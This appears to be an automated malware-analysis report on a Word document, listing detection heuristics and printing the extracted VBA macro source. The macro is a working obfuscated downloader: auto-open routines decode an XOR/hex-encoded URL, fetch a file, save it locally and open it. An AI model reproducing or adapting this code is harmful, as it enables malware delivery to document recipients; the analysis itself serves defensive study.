Malware Insights
The sample is a Microsoft Office document containing obfuscated VBA macros, indicated by critical heuristics like 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The Auto_Open and AutoOpen subroutines are present, suggesting an attempt to automatically execute malicious code upon opening the document. The presence of the 'macros.bas' artifact further supports the macro-based execution. The specific payload or download mechanism is not directly discernible from the provided script excerpts, leading to an unknown family classification.
Heuristics 11
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set HGVXOEGWSEI = CreateObject("MSXML2.XMLHTTP") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set HGVXOEGWSEI = CreateObject("MSXML2.XMLHTTP") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
NIJgb78tdfo.Open Environ(XORI(Hextostring("20012024"), Hextostring("74446D"))) & XORI(Hextostring("060023021900251A1B1E2B057429152C"), Hextostring("5A4C6D49")) -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 20365 bytes |
SHA-256: 793ed83256cdb0907cd249b5653d71b444725e66609aaf3fba6ca75755facf52 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
234 of 309 identifiers look randomly generated (e.g. 'C07256B6B763F0B033A24287739171E7A3B37763') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
Dim yljDtiXq As Integer
Dim mkNvChYm As Integer
For mkNvChYm = 0 To 7
Dim cNnbdqfg As Integer
For cNnbdqfg = 0 To 8
DoEvents
Next cNnbdqfg
DoEvents
Next mkNvChYm
Dim jDrqJklU As Integer
For jDrqJklU = 0 To 7
DoEvents
Next jDrqJklU
yljDtiXq = 2
Do While yljDtiXq < 74
Dim jSdxHknI As Integer
For jSdxHknI = 0 To 7
Dim OYOHHNbJ As Integer
For OYOHHNbJ = 0 To 1
DoEvents
Next OYOHHNbJ
DoEvents
Next jSdxHknI
Dim gBrqHmuv As Integer
For gBrqHmuv = 0 To 6
DoEvents
Next gBrqHmuv
DoEvents: yljDtiXq = yljDtiXq + 1
Dim LbFjSGld As Integer
For LbFjSGld = 0 To 8
Dim kOcUOslZ As Integer
For kOcUOslZ = 0 To 3
DoEvents
Next kOcUOslZ
DoEvents
Next LbFjSGld
Dim qxzlfkvW As Integer
For qxzlfkvW = 0 To 2
DoEvents
Next qxzlfkvW
Loop
Dim CzJtRSux As Integer
For CzJtRSux = 0 To 6
Dim JQGgHSeJ As Integer
For JQGgHSeJ = 0 To 8
DoEvents
Next JQGgHSeJ
DoEvents
Next CzJtRSux
Dim RsNvGaZl As Integer
For RsNvGaZl = 0 To 6
DoEvents
Next RsNvGaZl
PONJRUPRISB
End Sub
Sub AutoOpen()
Dim lLNroWDk As Integer
Dim vKdxLymk As Integer
For vKdxLymk = 0 To 1
Dim FNnvlPfJ As Integer
For FNnvlPfJ = 0 To 4
DoEvents
Next FNnvlPfJ
DoEvents
Next vKdxLymk
Dim mlWLltWv As Integer
For mlWLltWv = 0 To 1
DoEvents
Next mlWLltWv
lLNroWDk = 4
Do While lLNroWDk < 62
Dim HGvngFTd As Integer
For HGvngFTd = 0 To 2
Dim ZxawrCmJ As Integer
For ZxawrCmJ = 0 To 9
DoEvents
Next ZxawrCmJ
DoEvents
Next HGvngFTd
Dim gVqYesMm As Integer
For gVqYesMm = 0 To 6
DoEvents
Next gVqYesMm
DoEvents: lLNroWDk = lLNroWDk + 1
Dim qmqTdkYX As Integer
For qmqTdkYX = 0 To 2
Dim yegkyxiN As Integer
For yegkyxiN = 0 To 1
DoEvents
Next yegkyxiN
DoEvents
Next qmqTdkYX
Dim MljqYAVq As Integer
For MljqYAVq = 0 To 6
DoEvents
Next MljqYAVq
Loop
Dim aZtenZXl As Integer
For aZtenZXl = 0 To 1
Dim FefxFINK As Integer
For FefxFINK = 0 To 7
DoEvents
Next FefxFINK
DoEvents
Next aZtenZXl
Dim GBYCjICu As Integer
For GBYCjICu = 0 To 7
DoEvents
Next GBYCjICu
Auto_Open
End Sub
Sub Workbook_Open()
Dim vsLRdFDE As Integer
Dim jSpIBhqH As Integer
For jSpIBhqH = 0 To 7
Dim GVULYZaD As Integer
For GVULYZaD = 0 To 2
DoEvents
Next GVULYZaD
DoEvents
Next jSpIBhqH
Dim GMamoZVz As Integer
For GMamoZVz = 0 To 2
DoEvents
Next GMamoZVz
vsLRdFDE = 5
Do While vsLRdFDE < 13
Dim fucYKkyr As Integer
For fucYKkyr = 0 To 6
Dim JQDxgEJT As Integer
For JQDxgEJT = 0 To 5
DoEvents
Next JQDxgEJT
DoEvents
Next fucYKkyr
Dim VMncxwlP As Integer
For VMncxwlP = 0 To 6
DoEvents
Next VMncxwlP
DoEvents: vsLRdFDE = vsLRdFDE + 1
Dim GWBnGGBI As Integer
For GWBnGGBI = 0 To 8
Dim VVqUNjHL As Integer
For VVqUNjHL = 0 To 9
DoEvents
Next VVqUNjHL
DoEvents
Next GWBnGGBI
Dim VLEiEkDi As Integer
For VLEiEkDi = 0 To 9
DoEvents
Next VLEiEkDi
Loop
Dim TzLBeNgu As Integer
For TzLBeNgu = 0 To 6
Dim mlLaKXPd As Integer
For mlLaKXPd = 0 To 4
DoEvents
Next mlLaKXPd
DoEvents
Next TzLBeNgu
Dim xteqXDVp As Integer
For xteqXDVp = 0 To 2
DoEvents
Next xteqXDVp
Auto_Open
End Sub
Function ISLCPJVQOTV(ByVal ZWMNMFBTAMP As String, ByVal HQYSVYQQWIF As String) As Boolean
Dim HGVXOEGWSEI As Object, JOKGTCURLMV As Long, TKUDWNWAYWM As Long, TPFSORXNDUK() As Byte
Dim usMAxoJU As Integer
Dim wiJuvyCz As Integer
For wiJuvyCz = 0 To 7
Dim AZEpcTay As Integer
For AZEpcTay = 0 To 8
DoEvents
Next AZEpcTay
DoEvents
Next wiJuvyCz
Dim HLyaRkwu As Integer
For HLyaRkwu = 0 To 2
DoEvents
Next HLyaRkwu
usMAxoJU = 5
Do While usMAxoJU < 45
Dim VMAgoRGF As Integer
For VMAgoRGF = 0 To 3
Dim uMVQDeYc As Integer
For uMVQDeYc = 0 To 5
DoEvents
Next uMVQDeYc
DoEvents
Next VMAgoRGF
Dim ElhlLPKl As Integer
For ElhlLPKl = 0 To 9
DoEvents
Next ElhlLPKl
DoEvents: usMAxoJU = usMAxoJU + 1
Dim lnflyiHc As Integer
For lnflyiHc = 0 To 4
Dim xteksHXM As Integer
For xteksHXM = 0 To 4
DoEvents
Next xteksHXM
DoEvents
Next lnflyiHc
Dim lRMNQHRa As Integer
For lRMNQHRa = 0 To 4
DoEvents
Next lRMNQHRa
Loop
Dim oUiHmlyW As Integer
For oUiHmlyW = 0 To 9
Dim QcbTPvQq As Integer
For QcbTPvQq = 0 To 7
DoEvents
Next QcbTPvQq
DoEvents
Next oUiHmlyW
Dim YXhgpclk As Integer
For YXhgpclk = 0 To 6
DoEvents
Next YXhgpclk
Set HGVXOEGWSEI = CreateObject("MSXML2.XMLHTTP")
HGVXOEGWSEI.Open "GET", ZWMNMFBTAMP, False
Dim ClFBPlyt As Integer
Dim DyripUsR As Integer
For DyripUsR = 0 To 7
Dim zAyrfCGv As Integer
For zAyrfCGv = 0 To 1
DoEvents
Next zAyrfCGv
DoEvents
Next DyripUsR
Dim QwYaChvu As Integer
For QwYaChvu = 0 To 7
DoEvents
Next QwYaChvu
ClFBPlyt = 3
Do While ClFBPlyt < 26
Dim pRwGhgcn As Integer
For pRwGhgcn = 0 To 2
Dim czkiQbwS As Integer
For czkiQbwS = 0 To 4
DoEvents
Next czkiQbwS
DoEvents
Next pRwGhgcn
Dim NDehwVfv As Integer
For NDehwVfv = 0 To 9
DoEvents
Next NDehwVfv
DoEvents: ClFBPlyt = ClFBPlyt + 1
Dim cCFlUaLl As Integer
For cCFlUaLl = 0 To 8
Dim FefwPeeH As Integer
For FefwPeeH = 0 To 2
DoEvents
Next FefwPeeH
DoEvents
Next cCFlUaLl
Dim vCGlmxSv As Integer
For vCGlmxSv = 0 To 8
DoEvents
Next vCGlmxSv
Loop
Dim uXKaCjjW As Integer
For uXKaCjjW = 0 To 5
Dim jHLaDchL As Integer
For jHLaDchL = 0 To 9
DoEvents
Next jHLaDchL
DoEvents
Next uXKaCjjW
Dim ftZgaZxf As Integer
For ftZgaZxf = 0 To 9
DoEvents
Next ftZgaZxf
HGVXOEGWSEI.Send "send request"
Dim PMWwLTjH As Integer
Dim NOwKJnlV As Integer
For NOwKJnlV = 0 To 4
Dim GXFvHBPQ As Integer
For GXFvHBPQ = 0 To 2
DoEvents
Next GXFvHBPQ
DoEvents
Next NOwKJnlV
Dim bHgxbkll As Integer
For bHgxbkll = 0 To 8
DoEvents
Next bHgxbkll
PMWwLTjH = 7
Do While PMWwLTjH < 92
Dim xoDbXuTW As Integer
For xoDbXuTW = 0 To 8
Dim aIAnBQPi As Integer
For aIAnBQPi = 0 To 6
DoEvents
Next aIAnBQPi
DoEvents
Next xoDbXuTW
Dim VCqFdHJA As Integer
For VCqFdHJA = 0 To 6
DoEvents
Next VCqFdHJA
DoEvents: PMWwLTjH = PMWwLTjH + 1
Dim JFbEMQYE As Integer
For JFbEMQYE = 0 To 8
Dim MlsPnGcH As Integer
For MlsPnGcH = 0 To 8
DoEvents
Next MlsPnGcH
DoEvents
Next JFbEMQYE
Dim VXgvlQqN As Integer
For VXgvlQqN = 0 To 9
DoEvents
Next VXgvlQqN
Loop
Dim vKiXGVKB As Integer
For vKiXGVKB = 0 To 5
Dim tyVQOAcd As Integer
For tyVQOAcd = 0 To 1
DoEvents
Next tyVQOAcd
DoEvents
Next vKiXGVKB
Dim tsvUvxXg As Integer
For tsvUvxXg = 0 To 8
DoEvents
Next tsvUvxXg
TPFSORXNDUK = HGVXOEGWSEI.responseBody
Dim MSatLvBz As Integer
Dim znsRecYN As Integer
For znsRecYN = 0 To 1
Dim hCsOIoWQ As Integer
For hCsOIoWQ = 0 To 3
DoEvents
Next hCsOIoWQ
DoEvents
Next znsRecYN
Dim aUEgLkXa As Integer
For aUEgLkXa = 0 To 1
DoEvents
Next aUEgLkXa
MSatLvBz = 9
Do While MSatLvBz < 21
Dim xriXFaYH As Integer
For xriXFaYH = 0 To 4
Dim zvhjBlHR As Integer
For zvhjBlHR = 0 To 1
DoEvents
Next zvhjBlHR
DoEvents
Next xriXFaYH
Dim DpICpZJW As Integer
For DpICpZJW = 0 To 7
DoEvents
Next DpICpZJW
DoEvents: MSatLvBz = MSatLvBz + 1
Dim QxnnuDzO As Integer
For QxnnuDzO = 0 To 1
Dim VNCLBwcg As Integer
For VNCLBwcg = 0 To 3
DoEvents
Next VNCLBwcg
DoEvents
Next QxnnuDzO
Dim xtBDmVby As Integer
For xtBDmVby = 0 To 1
DoEvents
Next xtBDmVby
Loop
Dim tyBZvgHl As Integer
For tyBZvgHl = 0 To 5
Dim WjnERwNB As Integer
For WjnERwNB = 0 To 3
DoEvents
Next WjnERwNB
DoEvents
Next tyBZvgHl
Dim YaLpGTag As Integer
For YaLpGTag = 0 To 9
DoEvents
Next YaLpGTag
TKUDWNWAYWM = FreeFile
Open HQYSVYQQWIF For Binary As #TKUDWNWAYWM
Dim PMWZiOfn As Integer
Dim IDrqSDRl As Integer
For IDrqSDRl = 0 To 1
Dim lUnZSSOe As Integer
For lUnZSSOe = 0 To 7
DoEvents
Next lUnZSSOe
DoEvents
Next IDrqSDRl
Dim EklyREfi As Integer
For EklyREfi = 0 To 9
DoEvents
Next EklyREfi
PMWZiOfn = 7
Do While PMWZiOfn < 92
Dim ekBZvkRp As Integer
For ekBZvkRp = 0 To 7
Dim FiDYqgjh As Integer
For FiDYqgjh = 0 To 4
DoEvents
Next FiDYqgjh
DoEvents
Next ekBZvkRp
Dim aIxLEXse As Integer
For aIxLEXse = 0 To 4
DoEvents
Next aIxLEXse
DoEvents: PMWZiOfn = PMWZiOfn + 1
Dim xzgkaLlS As Integer
For xzgkaLlS = 0 To 4
Dim uMXLyQno As Integer
For uMXLyQno = 0 To 2
DoEvents
Next uMXLyQno
DoEvents
Next xzgkaLlS
Dim YNVDnfZN As Integer
For YNVDnfZN = 0 To 6
DoEvents
Next YNVDnfZN
Loop
Dim RqzlpQXH As Integer
For RqzlpQXH = 0 To 6
Dim FiDOGskY As Integer
For FiDOGskY = 0 To 5
DoEvents
Next FiDOGskY
DoEvents
Next RqzlpQXH
Dim MwrwZaIR As Integer
For MwrwZaIR = 0 To 8
DoEvents
Next MwrwZaIR
Put #TKUDWNWAYWM, , TPFSORXNDUK
Dim QPQgmTnA As Integer
Dim LbDctcgV As Integer
For LbDctcgV = 0 To 3
Dim NSrkMSwQ As Integer
For NSrkMSwQ = 0 To 4
DoEvents
Next NSrkMSwQ
DoEvents
Next LbDctcgV
Dim bKyshgxZ As Integer
For bKyshgxZ = 0 To 8
DoEvents
Next bKyshgxZ
QPQgmTnA = 8
Do While QPQgmTnA < 47
Dim fodnxBzI As Integer
For fodnxBzI = 0 To 6
Dim YaGvYtPG As Integer
For YaGvYtPG = 0 To 9
DoEvents
Next YaGvYtPG
DoEvents
Next fodnxBzI
Dim vMCWHiZz As Integer
For vMCWHiZz = 0 To 8
DoEvents
Next vMCWHiZz
DoEvents: QPQgmTnA = QPQgmTnA + 1
Dim mlHgHJYT As Integer
For mlHgHJYT = 0 To 4
Dim rhtfqbXO As Integer
For rhtfqbXO = 0 To 1
DoEvents
Next rhtfqbXO
DoEvents
Next mlHgHJYT
Dim mkWeftMv As Integer
For mkWeftMv = 0 To 4
DoEvents
Next mkWeftMv
Loop
Dim gzHgFNCr As Integer
For gzHgFNCr = 0 To 3
Dim QcjczFLI As Integer
For QcjczFLI = 0 To 7
DoEvents
Next QcjczFLI
DoEvents
Next gzHgFNCr
Dim SlPBRFGC As Integer
For SlPBRFGC = 0 To 7
DoEvents
Next SlPBRFGC
Close #TKUDWNWAYWM
Dim lLBpcBQz As Integer
Dim GXKtvlgQ As Integer
For GXKtvlgQ = 0 To 2
Dim pUNDppzK As Integer
For pUNDppzK = 0 To 5
DoEvents
Next pUNDppzK
DoEvents
Next GXKtvlgQ
Dim xiONZHVT As Integer
For xiONZHVT = 0 To 8
DoEvents
Next xiONZHVT
lLBpcBQz = 5
Do While lLBpcBQz < 62
Dim CtRuYqJG As Integer
For CtRuYqJG = 0 To 6
Dim ctNSgGTe As Integer
For ctNSgGTe = 0 To 1
DoEvents
Next ctNSgGTe
DoEvents
Next CtRuYqJG
Dim lEJwFFfp As Integer
For lEJwFFfp = 0 To 7
DoEvents
Next lEJwFFfp
DoEvents: lLBpcBQz = lLBpcBQz + 1
Dim rqEpmyUL As Integer
For rqEpmyUL = 0 To 1
Dim xoUiaISm As Integer
For xoUiaISm = 0 To 4
DoEvents
Next xoUiaISm
DoEvents
Next rqEpmyUL
Dim VeTmWoId As Integer
For VeTmWoId = 0 To 9
DoEvents
Next VeTmWoId
Loop
Dim VViWVsSs As Integer
For VViWVsSs = 0 To 9
Dim FqxrljIL As Integer
For FqxrljIL = 0 To 5
DoEvents
Next FqxrljIL
DoEvents
Next VViWVsSs
Dim iLXyPKwZ As Integer
For iLXyPKwZ = 0 To 2
DoEvents
Next iLXyPKwZ
Dim fxxxtrlf As Integer
Dim rpUMnzaj As Integer
For rpUMnzaj = 0 To 4
Dim vBwthlHn As Integer
For vBwthlHn = 0 To 8
DoEvents
Next vBwthlHn
DoEvents
Next rpUMnzaj
Dim yercsYaX As Integer
For yercsYaX = 0 To 5
DoEvents
Next yercsYaX
fxxxtrlf = 4
Do While fxxxtrlf < 29
Dim slmXIMEw As Integer
For slmXIMEw = 0 To 6
Dim kFLfswjp As Integer
For kFLfswjp = 0 To 7
DoEvents
Next kFLfswjp
DoEvents
Next slmXIMEw
Dim ffPCQmBk As Integer
For ffPCQmBk = 0 To 6
DoEvents
Next ffPCQmBk
DoEvents: fxxxtrlf = fxxxtrlf + 1
Dim kIAmIOWs As Integer
For kIAmIOWs = 0 To 3
Dim pIJZCAiB As Integer
For pIJZCAiB = 0 To 2
DoEvents
Next pIJZCAiB
DoEvents
Next kIAmIOWs
Dim dhczwwIz As Integer
For dhczwwIz = 0 To 3
DoEvents
Next dhczwwIz
Loop
Dim qxtysGaR As Integer
For qxtysGaR = 0 To 2
Dim EcFDdXtL As Integer
For EcFDdXtL = 0 To 5
DoEvents
Next EcFDdXtL
DoEvents
Next qxtysGaR
Dim QACrFJLr As Integer
For QACrFJLr = 0 To 7
DoEvents
Next QACrFJLr
Set NIJgb78tdfo = CreateObject(XORI(Hextostring("230D1C031C4B381F0009100C111110001E"), Hextostring("7065796F")))
NIJgb78tdfo.Open Environ(XORI(Hextostring("20012024"), Hextostring("74446D"))) & XORI(Hextostring("060023021900251A1B1E2B057429152C"), Hextostring("5A4C6D49"))
Dim PWFeqQRq As Integer
Dim lEMznDHq As Integer
For lEMznDHq = 0 To 4
Dim MZmqHmou As Integer
For MZmqHmou = 0 To 6
DoEvents
Next MZmqHmou
DoEvents
Next lEMznDHq
Dim GasMhmJf As Integer
For GasMhmJf = 0 To 8
DoEvents
Next GasMhmJf
PWFeqQRq = 7
Do While PWFeqQRq < 64
Dim yrrdbagD As Integer
For yrrdbagD = 0 To 1
Dim aPuldjIW As Integer
For aPuldjIW = 0 To 1
DoEvents
Next aPuldjIW
DoEvents
Next yrrdbagD
Dim vNhOMFsb As Integer
For vNhOMFsb = 0 To 5
DoEvents
Next vNhOMFsb
DoEvents: PWFeqQRq = PWFeqQRq + 1
Dim KUtpOhHo As Integer
For KUtpOhHo = 0 To 5
Dim HNhQQlix As Integer
For HNhQQlix = 0 To 2
DoEvents
Next HNhQQlix
DoEvents
Next KUtpOhHo
Dim uztnDByq As Integer
For uztnDByq = 0 To 5
DoEvents
Next uztnDByq
Loop
Dim lEVSYIpI As Integer
For lEVSYIpI = 0 To 7
Dim FuPtKpzG As Integer
For FuPtKpzG = 0 To 2
DoEvents
Next FuPtKpzG
DoEvents
Next lEVSYIpI
Dim lRIqcAxh As Integer
For lRIqcAxh = 0 To 9
DoEvents
Next lRIqcAxh
Set HGVXOEGWSEI = Nothing
Dim cjwbLXmn As Integer
Dim RqNRdbSX As Integer
For RqNRdbSX = 0 To 6
Dim WcDXhaac As Integer
For WcDXhaac = 0 To 9
DoEvents
Next WcDXhaac
DoEvents
Next RqNRdbSX
Dim DhWkbrMP As Integer
For DhWkbrMP = 0 To 7
DoEvents
Next DhWkbrMP
cjwbLXmn = 8
Do While cjwbLXmn < 76
Dim JSOJTuIO As Integer
For JSOJTuIO = 0 To 6
Dim OGOdiafN As Integer
For OGOdiafN = 0 To 6
DoEvents
Next OGOdiafN
DoEvents
Next JSOJTuIO
Dim NKvzqYqF As Integer
For NKvzqYqF = 0 To 7
DoEvents
Next NKvzqYqF
DoEvents: cjwbLXmn = cjwbLXmn + 1
Dim PArgmdFM As Integer
For PArgmdFM = 0 To 1
Dim nJtZACjg As Integer
For nJtZACjg = 0 To 2
DoEvents
Next nJtZACjg
DoEvents
Next PArgmdFM
Dim VyfKomML As Integer
For VyfKomML = 0 To 6
DoEvents
Next VyfKomML
Loop
Dim jGWVGOII As Integer
For jGWVGOII = 0 To 7
Dim wmbeXCPB As Integer
For wmbeXCPB = 0 To 7
DoEvents
Next wmbeXCPB
DoEvents
Next jGWVGOII
Dim OHTTOUKL As Integer
For OHTTOUKL = 0 To 1
DoEvents
Next OHTTOUKL
End Function
Sub PONJRUPRISB()
Dim glPmNNPL As Integer
Dim XqNElBSv As Integer
For XqNElBSv = 0 To 9
Dim TgnBhZMv As Integer
For TgnBhZMv = 0 To 6
DoEvents
Next TgnBhZMv
DoEvents
Next XqNElBSv
Dim QZHQekqx As Integer
For QZHQekqx = 0 To 7
DoEvents
Next QZHQekqx
glPmNNPL = 6
Do While glPmNNPL < 28
Dim FriBZzTP As Integer
For FriBZzTP = 0 To 7
Dim pHzXJWaZ As Integer
For pHzXJWaZ = 0 To 2
DoEvents
Next pHzXJWaZ
DoEvents
Next FriBZzTP
Dim wxhLHvPp As Integer
For wxhLHvPp = 0 To 4
DoEvents
Next wxhLHvPp
DoEvents: glPmNNPL = glPmNNPL + 1
Dim WgPSXMpU As Integer
For WgPSXMpU = 0 To 3
Dim OHTIjoJs As Integer
For OHTIjoJs = 0 To 1
DoEvents
Next OHTIjoJs
DoEvents
Next WgPSXMpU
Dim AISrAdPc As Integer
For AISrAdPc = 0 To 9
DoEvents
Next AISrAdPc
Loop
Dim mmSUjxsv As Integer
For mmSUjxsv = 0 To 5
Dim QEOhDWnv As Integer
For QEOhDWnv = 0 To 4
DoEvents
Next QEOhDWnv
DoEvents
Next mmSUjxsv
Dim RwJQCBlQ As Integer
For RwJQCBlQ = 0 To 2
DoEvents
Next RwJQCBlQ
sdfsdfnUHBO = XORI(Hextostring("320C07256B6B763F0B033A24287739171E7A3B377638111D7B343C3C"), Hextostring("5A787355514459"))
Dim pCuYUtly As Integer
Dim cBZlRjPO As Integer
For cBZlRjPO = 0 To 5
Dim qYLINdjZ As Integer
For qYLINdjZ = 0 To 2
DoEvents
Next qYLINdjZ
DoEvents
Next cBZlRjPO
Dim CdUETvRB As Integer
For CdUETvRB = 0 To 9
DoEvents
Next CdUETvRB
pCuYUtly = 3
Do While pCuYUtly < 28
Dim xtehlsoQ As Integer
For xtehlsoQ = 0 To 2
Dim ICXmBThc As Integer
For ICXmBThc = 0 To 4
DoEvents
Next ICXmBThc
DoEvents
Next xtehlsoQ
Dim FqduDmYw As Integer
For FqduDmYw = 0 To 7
DoEvents
Next FqduDmYw
DoEvents: pCuYUtly = pCuYUtly + 1
Dim hWxDokgC As Integer
For hWxDokgC = 0 To 6
Dim xjDiaFys As Integer
For xjDiaFys = 0 To 3
DoEvents
Next xjDiaFys
DoEvents
Next hWxDokgC
Dim ERrLFEwp As Integer
For ERrLFEwp = 0 To 9
DoEvents
Next ERrLFEwp
Loop
Dim IDtuBeQV As Integer
For IDtuBeQV = 0 To 1
Dim OKkJQjxh As Integer
For OKkJQjxh = 0 To 1
DoEvents
Next OKkJQjxh
DoEvents
Next IDtuBeQV
Dim GyUEbySf As Integer
For GyUEbySf = 0 To 2
DoEvents
Next GyUEbySf
ISLCPJVQOTV sdfsdfnUHBO, Environ(XORI(Hextostring("31323900"), Hextostring("65777450"))) & XORI(Hextostring("171D0312081D050A0A030B156534353C"), Hextostring("4B514D59"))
End Sub
Public Function XORI(ByVal JfhqAvZoG As String, ByVal uoeJS As String) As String
Dim RQHAHmzyORUMlA As Long
For RQHAHmzyORUMlA = 1 To Len(JfhqAvZoG)
GoTo AvHQaVUR
Dim umcyglvx As String
Open "YWHNAU.YKH" For Binary As 13
If 939766 = 939766 + 1 Then End
If 9294 < 33 Then
MsgBox ("lhdABZqY19")
End If
If Len("hPKjhTSi1944") = Len("ELdfMkFe") Then
MsgBox ("Error !!!")
End If
Put #13, , umcyglvx
If 369763 = 369763 + 1 Then End
If 4339 < 61 Then
MsgBox ("rbuVMJBV81")
End If
If Len("PGqXepWj7593") = Len("LEKKnzTh") Then
MsgBox ("Error !!!")
End If
Close #13
If 618835 = 618835 + 1 Then End
If 1788 < 63 Then
MsgBox ("erpPlKqz77")
End If
If Len("lgQKlAnq4952") = Len("WKgtZNNJ") Then
MsgBox ("Error !!!")
End If
AvHQaVUR:
If 121947 = 121947 + 1 Then End
If 4275 < 45 Then
MsgBox ("rmnvxKXf56")
End If
If Len("chmuzvlL5925") = Len("YrzzbjtL") Then
MsgBox ("Error !!!")
End If
XORI = XORI & Chr(Asc(Mid(uoeJS, IIf(RQHAHmzyORUMlA Mod Len(uoeJS) <> 0, RQHAHmzyORUMlA Mod Len(uoeJS), Len(uoeJS)), 1)) Xor Asc(Mid(JfhqAvZoG, RQHAHmzyORUMlA, 1)))
Next RQHAHmzyORUMlA
End Function
Public Function Hextostring(ByVal udfzchuEanbM As String) As String
Dim KJlSkVaA As String
Dim lfxuR As String
Dim LEALdrM As Long
For LEALdrM = 1 To Len(udfzchuEanbM) Step 2
GoTo NYIfCmFW
Dim TAjIqGYS As String
Open "BOJCFQ.KXD" For Binary As 88
If 227686 = 227686 + 1 Then End
If 2173 < 53 Then
MsgBox ("Aszcgcsw38")
End If
If Len("ssvCaFhs3933") = Len("DGzqodGK") Then
MsgBox ("Error !!!")
End If
Put #88, , TAjIqGYS
If 675594 = 675594 + 1 Then End
If 7387 < 91 Then
MsgBox ("mEQPiYJO12")
End If
If Len("zLGIjBDz1651") = Len("pUxRFJva") Then
MsgBox ("Error !!!")
End If
Close #88
If 925665 = 925665 + 1 Then End
If 4846 < 94 Then
MsgBox ("loGxYUeD17")
End If
If Len("PljRUjlW5696") = Len("sCLJHGKZ") Then
MsgBox ("Error !!!")
End If
NYIfCmFW:
If 911326 = 911326 + 1 Then End
If 9645 < 24 Then
MsgBox ("OMfAglsP45")
End If
If Len("jpkbcSiz4918") = Len("vVBwWEKa") Then
MsgBox ("Error !!!")
End If
KJlSkVaA = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(udfzchuEanbM, LEALdrM, 2)))
GoTo xNcuSCjR
Dim zWtABlow As String
Open "PLQLIN.MQO" For Binary As 33
If 174895 = 174895 + 1 Then End
If 4448 < 19 Then
MsgBox ("cSSIHbqd23")
End If
If Len("FXfGKoAw8612") = Len("hnHeNYNz") Then
MsgBox ("Error !!!")
End If
Put #33, , zWtABlow
If 756291 = 756291 + 1 Then End
If 4311 < 61 Then
MsgBox ("PSVQKsMz43")
End If
If Len("PJCaSsRz7574") = Len("TqxYYjKg") Then
MsgBox ("Error !!!")
End If
Close #33
If 214118 = 214118 + 1 Then End
If 2947 < 85 Then
MsgBox ("ErICSmnh37")
End If
If Len("nbfSzxzJ3788") = Len("zeJNqWAc") Then
MsgBox ("Error !!!")
End If
xNcuSCjR:
If 441269 = 441269 + 1 Then End
If 1269 < 39 Then
MsgBox ("mYvIZREP12")
End If
If Len("mQvVwRfO4434") = Len("ZbyMLwBO") Then
MsgBox ("Error !!!")
End If
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.